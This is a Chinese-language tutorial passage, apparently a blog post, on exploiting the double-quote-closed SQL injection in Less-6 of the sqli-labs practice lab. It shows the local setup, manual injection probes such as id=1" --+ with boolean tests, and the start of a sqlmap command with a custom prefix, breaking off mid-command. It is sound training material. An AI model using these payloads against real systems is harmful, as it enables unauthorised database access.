1. 项目背景与核心挑战
sqli-labs是一个专门用于学习SQL注入技术的开源靶场环境,其中Less-6作为双引号闭合的注入场景,常让初学者感到棘手。这个关卡的特殊性在于:服务端使用双引号包裹用户输入,而大多数自动化工具默认假设是单引号场景,导致直接使用sqlmap等工具时往往无法正确识别注入点。
我在实际渗透测试工作中发现,许多初级安全工程师遇到双引号闭合的注入场景时,往往陷入反复尝试却无法突破的困境。这促使我深入研究针对此类特殊闭合方式的自动化注入方法,最终形成了一套稳定可靠的解决方案。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与基础分析
2.1 靶场环境搭建
首先需要配置好测试环境:
code复制git clone https://github.com/Audi-1/sqli-labs
cd sqli-labs/sql-connections
# 修改db-creds.inc文件中的数据库配置
php -S localhost:8080
关键点在于确保Less-6关卡可正常访问:
- 访问
http://localhost:8080/Less-6/ - 输入
id=1"时应当出现SQL语法错误 - 输入
id=1" --+时页面恢复正常
2.2 注入点特征分析
通过手工测试确认注入特征:
- 正常请求:
?id=1 - 触发错误:
?id=1"→ 返回数据库错误信息 - 注释测试:
?id=1" --+→ 页面正常显示 - 逻辑测试:
?id=1" and 1=1 --+→ 正常
?id=1" and 1=2 --+→ 无结果
这证实了注入点确实使用双引号闭合,且后端SQL语句结构大致为:
sql复制SELECT * FROM users WHERE id="$input" LIMIT 0,1
3. 自动化注入方案设计
3.1 sqlmap定制化配置
直接运行sqlmap -u "http://localhost:8080/Less-6/?id=1"会失败,因为默认payload使用单引号。需要通过以下参数适配:
bash复制sqlmap -u "http://localhost:8080/Less-6/?id=1" \
--prefix
